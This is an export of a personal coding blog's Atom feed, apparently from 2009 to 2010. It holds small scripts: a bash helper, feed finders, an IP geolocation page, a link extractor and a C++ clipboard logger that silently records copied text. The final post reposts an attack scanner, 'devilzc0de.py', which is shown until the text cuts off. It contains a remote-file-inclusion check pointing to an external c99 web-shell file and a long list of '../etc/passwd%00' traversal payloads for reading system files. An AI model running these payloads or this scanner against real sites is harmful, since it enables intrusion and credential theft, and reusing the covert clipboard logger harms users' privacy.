script-2'/><author><name>akd</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='http://3.bp.blogspot.com/_cuWUxK4Ksws/SvhiT1WxcNI/AAAAAAAAAdM/PIJXxzZFi3c/S220/sad-012.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4057504930307624997.post-2427640159515486947</id><published>2010-05-01T01:30:00.002+05:30</published><updated>2010-05-01T01:35:12.244+05:30</updated><title type='text'>utility script-1</title><content type='html'>This is an utility script that makes a file executable and opens in vi editor.&lt;br /&gt;&lt;br /&gt;&lt;textarea name="code" class="Bash"&gt;&lt;br /&gt;&lt;br /&gt;#!/bin/bash&lt;br /&gt;#Developed by : lipun4u@gmail.com&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;if [ $# -ne 1 ] &lt;br /&gt;then&lt;br /&gt;        echo "Usage: `basename $0` &lt;filename&gt;"&lt;br /&gt;        exit 1&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;touch $1&lt;br /&gt;chmod u+x $1&lt;br /&gt;vi $1&lt;br /&gt;&lt;br /&gt;&lt;/textarea&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4057504930307624997-2427640159515486947?l=kodeyard.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kodeyard.blogspot.com/feeds/2427640159515486947/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://kodeyard.blogspot.com/2010/05/utility-script-1.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/2427640159515486947'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/2427640159515486947'/><link rel='alternate' type='text/html' href='http://kodeyard.blogspot.com/2010/05/utility-script-1.html' title='utility script-1'/><author><name>akd</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='http://3.bp.blogspot.com/_cuWUxK4Ksws/SvhiT1WxcNI/AAAAAAAAAdM/PIJXxzZFi3c/S220/sad-012.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4057504930307624997.post-566621710600735592</id><published>2009-11-05T01:09:00.001+05:30</published><updated>2009-11-05T01:10:56.454+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='C++'/><title type='text'>clipboard logger</title><content type='html'>This code snippet logs all clipboard text in a log file...&lt;br /&gt;&lt;br /&gt;&lt;textarea name="code" class="Cpp"&gt;&lt;br /&gt;#include &lt;windows.h&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;string.h&gt;&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;&lt;br /&gt;using namespace std;&lt;br /&gt;&lt;br /&gt;void myfree();&lt;br /&gt;FILE *fp;&lt;br /&gt;char *p;&lt;br /&gt;HANDLE clip;&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;    HANDLE clip;&lt;br /&gt;    p=(char*)malloc(1);&lt;br /&gt;    *p='\0';&lt;br /&gt;    fp= fopen("log.txt", "a");&lt;br /&gt;    atexit(myfree);&lt;br /&gt;     while(true)&lt;br /&gt;        {&lt;br /&gt;            if (OpenClipboard(NULL))&lt;br /&gt;            {&lt;br /&gt;                clip = GetClipboardData(CF_TEXT);&lt;br /&gt;                if(strcmp(p,(char*)clip)!=0)&lt;br /&gt;                {&lt;br /&gt;                    free(p);&lt;br /&gt;                    p = (char*)malloc(strlen((char*)clip)+1);&lt;br /&gt;                    strcpy(p,(char*)clip);&lt;br /&gt;                    fprintf(fp,"%s",p);&lt;br /&gt;                }&lt;br /&gt;                CloseClipboard();&lt;br /&gt;            }&lt;br /&gt;            Sleep(500);&lt;br /&gt;        } &lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void myfree()&lt;br /&gt;{&lt;br /&gt;     free(p);&lt;br /&gt;     if(fp!=NULL)&lt;br /&gt;         fclose(fp);&lt;br /&gt;     free(clip);&lt;br /&gt;}&lt;br /&gt;&lt;/textarea&gt;&lt;br /&gt;&lt;br /&gt;This is well tested in Dev C++.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4057504930307624997-566621710600735592?l=kodeyard.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kodeyard.blogspot.com/feeds/566621710600735592/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://kodeyard.blogspot.com/2009/11/clipboard-logger.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/566621710600735592'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/566621710600735592'/><link rel='alternate' type='text/html' href='http://kodeyard.blogspot.com/2009/11/clipboard-logger.html' title='clipboard logger'/><author><name>akd</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='http://3.bp.blogspot.com/_cuWUxK4Ksws/SvhiT1WxcNI/AAAAAAAAAdM/PIJXxzZFi3c/S220/sad-012.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4057504930307624997.post-5357543814036185045</id><published>2009-10-27T13:25:00.004+05:30</published><updated>2009-10-27T13:34:20.299+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='atom'/><category scheme='http://www.blogger.com/atom/ns#' term='feed'/><category scheme='http://www.blogger.com/atom/ns#' term='rss'/><category scheme='http://www.blogger.com/atom/ns#' term='login page in PHP'/><title type='text'>feed finder in php</title><content type='html'>Here is a php snippet which finds the rss and atom links of a web site by parsing the meta information in the header section of the page. &lt;br /&gt;&lt;br /&gt;&lt;textarea name="code" class="php"&gt;&lt;br /&gt;&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;&lt;br /&gt;&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;br /&gt;&lt;head&gt;&lt;br /&gt;&lt;meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /&gt;&lt;br /&gt;&lt;title&gt;Feed finder&lt;/title&gt;&lt;br /&gt;&lt;/head&gt;&lt;br /&gt;&lt;br /&gt;&lt;body&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;if(isset($_POST['link']) &amp;&amp; (strlen($_POST['link'])&gt;0)) {&lt;br /&gt;	include_once('simple_html_dom.php');&lt;br /&gt;	$html = file_get_html(trim($_POST['link']));&lt;br /&gt;	$feed_type = array('application/rss+xml',&lt;br /&gt;                  		'text/xml',&lt;br /&gt;                  		'application/atom+xml',&lt;br /&gt;                  		'application/x.atom+xml',&lt;br /&gt;                  		'application/x-atom+xml');&lt;br /&gt;	foreach($html-&gt;find('link') as $element)  {&lt;br /&gt;		foreach($feed_type as $rs) {&lt;br /&gt;			if(strtolower($element-&gt;type) == $rs) { &lt;br /&gt;				echo "&lt;h3&gt;" . $element-&gt;title . "&lt;/h3&gt;\n";&lt;br /&gt;				echo "&lt;h3&gt;" . $element-&gt;href . "&lt;/h3&gt;\n";&lt;br /&gt;       			echo "&lt;h3&gt;" . $element-&gt;type . "&lt;/h3&gt;\n";&lt;br /&gt;				echo "&lt;h3&gt;---------------------&lt;/h3&gt;\n";&lt;br /&gt;			}&lt;br /&gt;		}&lt;br /&gt;	}&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;?&gt;&lt;br /&gt;&lt;form action="&lt;?php echo $_SERVER['PHP_SELF']; ?&gt;" method="post"&gt;&lt;br /&gt;&lt;table align="center" width="50%"&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td align="right"&gt;Link : &lt;/td&gt;&lt;br /&gt;&lt;td align="left"&gt;&lt;input type="text" name="link"  /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td align="right"&gt;&lt;input type="submit" name="submit" value="Submit" /&gt;&lt;/td&gt;&lt;br /&gt;&lt;td align="left"&gt;&lt;input type="reset" name="reset" value="clear" /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;/form&gt; &lt;br /&gt;&lt;?php &lt;br /&gt;}&lt;br /&gt;?&gt;						&lt;br /&gt;&lt;/body&gt;&lt;br /&gt;&lt;/html&gt;&lt;br /&gt;&lt;/textarea&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4057504930307624997-5357543814036185045?l=kodeyard.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kodeyard.blogspot.com/feeds/5357543814036185045/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://kodeyard.blogspot.com/2009/10/feed-finder-in-php.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/5357543814036185045'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/5357543814036185045'/><link rel='alternate' type='text/html' href='http://kodeyard.blogspot.com/2009/10/feed-finder-in-php.html' title='feed finder in php'/><author><name>akd</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='http://3.bp.blogspot.com/_cuWUxK4Ksws/SvhiT1WxcNI/AAAAAAAAAdM/PIJXxzZFi3c/S220/sad-012.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4057504930307624997.post-42140485573683511</id><published>2009-10-23T02:35:00.002+05:30</published><updated>2009-10-27T13:29:52.865+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='atom'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='feed'/><category scheme='http://www.blogger.com/atom/ns#' term='rss'/><title type='text'>feed finder in python</title><content type='html'>Here is a python code snippet which finds the RSS link in any web site...&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Python"&gt;&lt;br /&gt;import sys&lt;br /&gt;from urllib2 import urlopen&lt;br /&gt;from urlparse import urljoin&lt;br /&gt;from HTMLParser import HTMLParser, HTMLParseError&lt;br /&gt;&lt;br /&gt;class FeedAutodiscoveryParser(HTMLParser):&lt;br /&gt;    # These are the MIME types of links accepted as feeds&lt;br /&gt;    FEED_TYPES = ('application/rss+xml',&lt;br /&gt;                  'text/xml',&lt;br /&gt;                  'application/atom+xml',&lt;br /&gt;                  'application/x.atom+xml',&lt;br /&gt;                  'application/x-atom+xml')&lt;br /&gt;    def __init__(self, base_href):&lt;br /&gt;        HTMLParser.__init__(self)&lt;br /&gt;        self.base_href = base_href&lt;br /&gt;        self.feeds = []&lt;br /&gt;    def handle_starttag(self, tag, attrs_tup):&lt;br /&gt;        tag = tag.lower()&lt;br /&gt;        attrs = dict([(k.lower(), v) for k,v in attrs_tup])&lt;br /&gt;        if tag == "base" and 'href' in attrs:&lt;br /&gt;            self.base_href = attrs['href']&lt;br /&gt;        if tag == "link":&lt;br /&gt;            rel = attrs.get("rel", "")&lt;br /&gt;            type = attrs.get("type", "")&lt;br /&gt;            title = attrs.get("title", "")&lt;br /&gt;            href = attrs.get("href", "")&lt;br /&gt;            if rel == "alternate" and type in self.FEED_TYPES:&lt;br /&gt;                self.feeds.append({&lt;br /&gt;                    'type' : type,&lt;br /&gt;                    'title' : title,&lt;br /&gt;                    'href' : href&lt;br /&gt;                })&lt;br /&gt;def getFeedsDetail(url):&lt;br /&gt;    data = urlopen(url).read()&lt;br /&gt;    parser = FeedAutodiscoveryParser(url)&lt;br /&gt;    try:&lt;br /&gt;        parser.feed(data)&lt;br /&gt;    except HTMLParseError:&lt;br /&gt;        pass&lt;br /&gt;    for feed in parser.feeds:&lt;br /&gt;        feed['href'] = urljoin(parser.base_href, feed['href'])&lt;br /&gt;    return parser.feeds&lt;br /&gt;def getFeeds(url):&lt;br /&gt;        return [ x['href'] for x in getFeedsDetail(url) ]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;def main():&lt;br /&gt;    url = sys.argv[1]&lt;br /&gt;    feeds = getFeedsDetail(url)&lt;br /&gt;    print&lt;br /&gt;    print "Site %s : " % url&lt;br /&gt;    print "###########################################"&lt;br /&gt;    print&lt;br /&gt;    for feed in feeds:&lt;br /&gt;        print "Title : '%(title)s' \nType :  %(type)s \nURI : %(href)s" % feed&lt;br /&gt;        print "------------------------------------------------------------------------"&lt;br /&gt;    print&lt;br /&gt;&lt;br /&gt;if __name__ == "__main__":&lt;br /&gt;    main()&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The use is...&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;F:\Python26&gt;python minifeedfinder.py http://www.timesofindia.com/&lt;br /&gt;&lt;br /&gt;Site http://www.timesofindia.com/ :&lt;br /&gt;###########################################&lt;br /&gt;&lt;br /&gt;Title : ''&lt;br /&gt;Type :  application/rss+xml&lt;br /&gt;URI : http://www.timesofindia.com/rssfeedsdefault.cms&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;F:\Python26&gt;python minifeedfinder.py http://asitdhal.blogspot.com/&lt;br /&gt;&lt;br /&gt;Site http://asitdhal.blogspot.com/ :&lt;br /&gt;###########################################&lt;br /&gt;&lt;br /&gt;Title : 'Life like this - Atom'&lt;br /&gt;Type :  application/atom+xml&lt;br /&gt;URI : http://asitdhal.blogspot.com/feeds/posts/default&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;Title : 'Life like this - RSS'&lt;br /&gt;Type :  application/rss+xml&lt;br /&gt;URI : http://asitdhal.blogspot.com/feeds/posts/default?alt=rss&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The equivalent php code is in the following link...&lt;a href="http://kodeyard.blogspot.com/2009/10/feed-finder-in-php.html"&gt;&lt;br /&gt;http://kodeyard.blogspot.com/2009/10/feed-finder-in-php.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4057504930307624997-42140485573683511?l=kodeyard.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kodeyard.blogspot.com/feeds/42140485573683511/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://kodeyard.blogspot.com/2009/10/rss-link-extractor-in-python.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/42140485573683511'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/42140485573683511'/><link rel='alternate' type='text/html' href='http://kodeyard.blogspot.com/2009/10/rss-link-extractor-in-python.html' title='feed finder in python'/><author><name>akd</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='http://3.bp.blogspot.com/_cuWUxK4Ksws/SvhiT1WxcNI/AAAAAAAAAdM/PIJXxzZFi3c/S220/sad-012.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4057504930307624997.post-2471596852129102584</id><published>2009-10-17T01:37:00.000+05:30</published><updated>2009-10-17T01:43:40.660+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='country city from ip address'/><title type='text'>Country and City from ip address (php)</title><content type='html'>Here is a code, I made from scratch to get the geographical information from ip address.&lt;br /&gt;&lt;br /&gt;&lt;textarea name="code" class="Php"&gt;&lt;br /&gt;&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;&lt;br /&gt;&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;br /&gt;&lt;head&gt;&lt;br /&gt;&lt;meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /&gt;&lt;br /&gt;&lt;title&gt;Ip Address Lookup&lt;/title&gt;&lt;br /&gt;&lt;/head&gt;&lt;br /&gt;&lt;br /&gt;&lt;body&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;function countryCityFromIP($ipAddr)&lt;br /&gt;{&lt;br /&gt;	$ipDetail=array(); &lt;br /&gt;	$xml = file_get_contents("http://api.hostip.info/?ip=".$ipAddr);&lt;br /&gt;	preg_match("@&lt;Hostip&gt;(\s)*&lt;gml:name&gt;(.*?)&lt;/gml:name&gt;@si",$xml,$match);&lt;br /&gt;	$ipDetail['city']=$match[2]; &lt;br /&gt;	preg_match("@&lt;countryName&gt;(.*?)&lt;/countryName&gt;@si",$xml,$matches);&lt;br /&gt;	$ipDetail['country']=$matches[1];&lt;br /&gt;	preg_match("@&lt;countryAbbrev&gt;(.*?)&lt;/countryAbbrev&gt;@si",$xml,$cc_match);&lt;br /&gt;	$ipDetail['country_code']=$cc_match[1]; &lt;br /&gt;	return $ipDetail;&lt;br /&gt;}&lt;br /&gt;if(isset($_GET['ip'])) {&lt;br /&gt;	$IPDetail=countryCityFromIP($_GET['ip']);&lt;br /&gt;	echo "&lt;table align='center' width='50%'&gt;\n";&lt;br /&gt;	echo "&lt;tr&gt;&lt;td&gt;IP Address &lt;/td&gt; &lt;td&gt;" . $_GET['ip'] . "&lt;/td&gt;&lt;/tr&gt;\n";&lt;br /&gt;	echo "&lt;tr&gt;&lt;td&gt;Country Name&lt;/td&gt; &lt;td&gt;" . $IPDetail['country'] . "&lt;/td&gt;&lt;/tr&gt;\n"; &lt;br /&gt;	echo "&lt;tr&gt;&lt;td&gt;City &lt;/td&gt;&lt;td&gt;" . $IPDetail['city'] . "&lt;/td&gt;&lt;/tr&gt;\n"; &lt;br /&gt;	echo "&lt;tr&gt;&lt;td&gt;Country Code&lt;/td&gt;&lt;td&gt;" . $IPDetail['country_code'] . "&lt;/td&gt;&lt;/tr&gt;\n";&lt;br /&gt;	echo "&lt;/table&gt;";&lt;br /&gt;}&lt;br /&gt;else {&lt;br /&gt;	?&gt;&lt;br /&gt;	&lt;form  method="get"&gt;&lt;br /&gt;	&lt;table align="center" width="50%"&gt;&lt;br /&gt;	&lt;tr&gt;&lt;td&gt;IPADDRESS&lt;/td&gt;&lt;td&gt;&lt;input type="text" name="ip" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;br /&gt;	&lt;tr&gt;&lt;td&gt;&lt;input type="submit" value="lookup" /&gt;&lt;/td&gt;&lt;td&gt;&lt;input type="reset" value="clear" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;br /&gt;	&lt;/table&gt;&lt;br /&gt;	&lt;/form&gt;&lt;br /&gt;	&lt;?php &lt;br /&gt;}&lt;br /&gt;?&gt;&lt;br /&gt;&lt;/body&gt;&lt;br /&gt;&lt;/html&gt;&lt;br /&gt;&lt;/textarea&gt;&lt;br /&gt;&lt;br /&gt;This code does not implement any validation of address. As  it depends upon whois server to perform lookup, the result takes time to show output.&lt;br /&gt;&lt;br /&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4057504930307624997-2471596852129102584?l=kodeyard.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kodeyard.blogspot.com/feeds/2471596852129102584/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://kodeyard.blogspot.com/2009/10/country-and-city-from-ip-address-php.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/2471596852129102584'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/2471596852129102584'/><link rel='alternate' type='text/html' href='http://kodeyard.blogspot.com/2009/10/country-and-city-from-ip-address-php.html' title='Country and City from ip address (php)'/><author><name>akd</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='http://3.bp.blogspot.com/_cuWUxK4Ksws/SvhiT1WxcNI/AAAAAAAAAdM/PIJXxzZFi3c/S220/sad-012.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4057504930307624997.post-7971926192955652140</id><published>2009-10-07T01:40:00.000+05:30</published><updated>2009-10-07T01:52:38.754+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='link extractor python'/><title type='text'>link extractor in python</title><content type='html'>I my engineering, I coded a python script that will extract links from a web page. &lt;br /&gt;Here is  the code...&lt;br /&gt;&lt;br /&gt;&lt;pre class="Python" name="code"&gt;&lt;br /&gt;import urllib &lt;br /&gt;import sys &lt;br /&gt;import os.path &lt;br /&gt;import sgmllib &lt;br /&gt; &lt;br /&gt; &lt;br /&gt;print "\n\n\t\tlipun4u[at]gmail[dot]com" &lt;br /&gt;print "\t\t------------------------" &lt;br /&gt; &lt;br /&gt;appname = os.path.basename(sys.argv[0]) &lt;br /&gt; &lt;br /&gt;class MyParser(sgmllib.SGMLParser): &lt;br /&gt;    "A simple parser class." &lt;br /&gt; &lt;br /&gt;    def parse(self, s): &lt;br /&gt;        "Parse the given string 's'." &lt;br /&gt;        self.feed(s) &lt;br /&gt;        self.close() &lt;br /&gt; &lt;br /&gt;    def __init__(self, verbose=0): &lt;br /&gt;        "Initialise an object, passing 'verbose' to the superclass." &lt;br /&gt; &lt;br /&gt;        sgmllib.SGMLParser.__init__(self, verbose) &lt;br /&gt;        self.hyperlinks = [] &lt;br /&gt; &lt;br /&gt;    def start_a(self, attributes): &lt;br /&gt;        "Process a hyperlink and its 'attributes'." &lt;br /&gt; &lt;br /&gt;        for name, value in attributes: &lt;br /&gt;            if name == "href": &lt;br /&gt;                self.hyperlinks.append(value) &lt;br /&gt; &lt;br /&gt;    def get_hyperlinks(self): &lt;br /&gt;        "Return the list of hyperlinks." &lt;br /&gt; &lt;br /&gt;        return self.hyperlinks &lt;br /&gt; &lt;br /&gt; &lt;br /&gt; &lt;br /&gt;if len(sys.argv) not in [2,]: &lt;br /&gt;    print "Usage : " + appname + " &lt;url&gt; " &lt;br /&gt;    print "e.g. : " + appname + " www.google.com " &lt;br /&gt;    sys.exit(1) &lt;br /&gt;elif "-h"  in sys.argv: &lt;br /&gt;    print "Usage : " + appname + " &lt;url&gt; " &lt;br /&gt;    print "e.g. : " + appname + " www.google.com " &lt;br /&gt;    sys.exit(1) &lt;br /&gt;elif "--help" in sys.argv: &lt;br /&gt;    print "Usage : " + appname + " &lt;url&gt; " &lt;br /&gt;    print "e.g. : " + appname + " www.google.com " &lt;br /&gt;    sys.exit(1) &lt;br /&gt; &lt;br /&gt; &lt;br /&gt; &lt;br /&gt;site = sys.argv[1].replace("http://","") &lt;br /&gt;site = "http://" + site.lower() &lt;br /&gt; &lt;br /&gt;print "Target : " + site &lt;br /&gt;try: &lt;br /&gt;    site_data = urllib.urlopen(site) &lt;br /&gt;    parser = MyParser() &lt;br /&gt;    parser.parse(site_data.read()) &lt;br /&gt;except(IOError),msg: &lt;br /&gt;    print "Error in connecting site ", site &lt;br /&gt;    print msg &lt;br /&gt;    sys.exit(1) &lt;br /&gt;links = parser.get_hyperlinks() &lt;br /&gt;print "Total no. of hyperlinks : " + str(len(links)) &lt;br /&gt;print "" &lt;br /&gt;for l in links: &lt;br /&gt;    print l &lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Here is the help file&lt;br /&gt;&lt;br /&gt;&lt;pre&gt; &lt;br /&gt;I:\Python26&gt;linkscan1.py &lt;br /&gt; &lt;br /&gt; &lt;br /&gt;lipun4u[at]gmail[dot]com &lt;br /&gt;------------------------ &lt;br /&gt;Usage : linkscan1.py &lt;url&gt; &lt;br /&gt;e.g. : linkscan1.py www.google.com &lt;br /&gt; &lt;br /&gt;I:\Python26&gt;linkscan1.py www.iter.ac.in &lt;br /&gt; &lt;br /&gt; &lt;br /&gt;lipun4u[at]gmail[dot]com &lt;br /&gt;------------------------ &lt;br /&gt;Target : http://www.iter.ac.in &lt;br /&gt;Total no. of hyperlinks : 12 &lt;br /&gt; &lt;br /&gt;http://iter.ac.in &lt;br /&gt;default.asp &lt;br /&gt;contactus.asp &lt;br /&gt;http://iter.ac.in:8383 &lt;br /&gt;time-table.xls &lt;br /&gt;http://www.soauniversity.ac.in/saat_2009.htm &lt;br /&gt;images/advertisement_Saat2009.gif &lt;br /&gt;# &lt;br /&gt;# &lt;br /&gt;# &lt;br /&gt;# &lt;br /&gt;http://www.allindiaonline.in/ &lt;br /&gt; &lt;br /&gt;I:\Python26&gt; &lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;But some guys added some spice to it and look what they made...&lt;br /&gt;&lt;br /&gt;&lt;textarea class="Python" name="code"&gt;&lt;br /&gt;#!/usr/bin/python&lt;br /&gt;#devilzc0de.py version 1.0&lt;br /&gt;# "\n\n\t\tlink extract routine sipped from by lipun4u[at]gmail[dot]com link extractor" &lt;br /&gt;# "\t\tcoding by mywisdom (mywisdom@jasakom.org)" &lt;br /&gt;#modified for devilzc0de sqli,blind,rfi and lfi and path disclosure via error message  against your target&lt;br /&gt;# Greetz         : evidence@solhack, getch@solhack. foxx@solhack ... I miss you bro&lt;br /&gt;# Special thanks to: asit_dhal( lipun4u[at]gmail[dot]com ) who inspire me &lt;br /&gt;# Special thanx for d3hydr8, baltazar, rsauron,jaya sangkar, inkubus,0n3l0ve,tundergun, gblack,wendy182, zeroc0de666,and all flash crews,etc&lt;br /&gt;# Flash Crews(errorname,danzel,trtxx,etc...), h4cky0u members, jasakom members,hmsecurity crews and members, ex hackerzonline (sorry for ddosing)crews (pirus,cybermutaqqin,pitaqh,aurel,t0m,bunga,kiddes,idbajakan,adisatwa,adioranye,flyv66,meong,etc)&lt;br /&gt;# Special thanks to my special foo : aibo,alabala -&gt; my real foo they always blame me..thank you :-)&lt;br /&gt;# and to all darkc0de members&lt;br /&gt;#greetz to solhack crews 2004,leader: evidence@sdf,crews:getch@solhack,mywisdom@solhack and foxx@solhack&lt;br /&gt;# Special thanks to Jasakom Members and Crews (sto,pirus,pitaqh,aurel666,tomahawk,kiddies,sat,flyv666,petimati,ketek,&lt;br /&gt;# This tool is best combined with flashjumper.py&lt;br /&gt;#greetz to gdc community (bl4ck3ng1ne,blok_undergound,xnome,cr4wl3r,mr saint,etc...)&lt;br /&gt;###############################################################################&lt;br /&gt;#    //  ) ) 										&lt;br /&gt;# __//__  //  ___      ___     / __            ___      __      ___                     &lt;br /&gt;#  //    // //   ) ) ((   ) ) //   ) ) ____  //   ) ) //  ) ) //___) ) //  / /  / /     &lt;br /&gt;# //    // //   / /   \ \    //   / /       //       //      //       //  / /  / /      &lt;br /&gt;#//    // ((___( ( //   ) ) //   / /       ((____   //      ((____   ((__( (__/ /&lt;br /&gt;############################################################################## &lt;br /&gt;    &lt;br /&gt;################################################################ &lt;br /&gt;#       .___             __          _______       .___        # &lt;br /&gt;#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    # &lt;br /&gt;#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   # &lt;br /&gt;#   / /_/ | / __ \|  | \/    &lt;\  \___\  \_/   \/ /_/ \  ___/   # &lt;br /&gt;#   \____ |(______/__|  |__|_ \\_____&gt;\_____  /\_____|\____\   # &lt;br /&gt;#        \/                  \/             \/                 # &lt;br /&gt;#                   ___________   ______  _  __                # &lt;br /&gt;#                 _/ ___\_  __ \_/ __ \ \/ \/ /                # &lt;br /&gt;#                 \  \___|  | \/\  ___/\     /                 # &lt;br /&gt;#                  \___  &gt;__|    \___  &gt;\/\_/                  # &lt;br /&gt;#      est.2007        \/            \/   forum.darkc0de.com   # &lt;br /&gt;############################################################################## &lt;br /&gt;&lt;br /&gt;import urllib,sys,os,sgmllib &lt;br /&gt;rfi=""&lt;br /&gt;myroot="root:x:"&lt;br /&gt;anjing="c99shell"&lt;br /&gt;cekrfi="http://xoomer.virgilio.it/divulgar/c99.txt?"&lt;br /&gt;lfis = ["/etc/passwd%00","../etc/passwd%00","../../etc/passwd%00","../../../etc/passwd%00","../../../../etc/passwd%00","../../../../../etc/passwd%00","../../../../../../etc/passwd%00","../../../../../../../etc/passwd%00","../../../../../../../../etc/passwd%00","../../../../../../../../../etc/passwd%00","../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../../../etc/passwd%00","/etc/passwd","../etc/passwd","../../etc/passwd","../../../etc/passwd","../../../../etc/passwd","../../../../../etc/passwd","../../../../../../etc/passwd","../../../../../../../etc/passwd","../../../../../../../../etc/passwd","../../../../../../../../../etc/passwd","../../../../../../../../../../etc/passwd","../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../etc/passwd"]&lt;br /&gt;pathdisclosure1="/home/"&lt;br /&gt;pathdisclosure2="/var/"&lt;br /&gt;pathdisclosure3="/www/"&lt;br /&gt;pathdisclosure4="/html/"&lt;br /&gt;pathdisclosure5="/usr/"&lt;br /&gt;pathdisclosure6="/user/"&lt;br /&gt;pathdisclosure7="/sites/"&lt;br /&gt;pathdisclosure8="/mnt"&lt;br 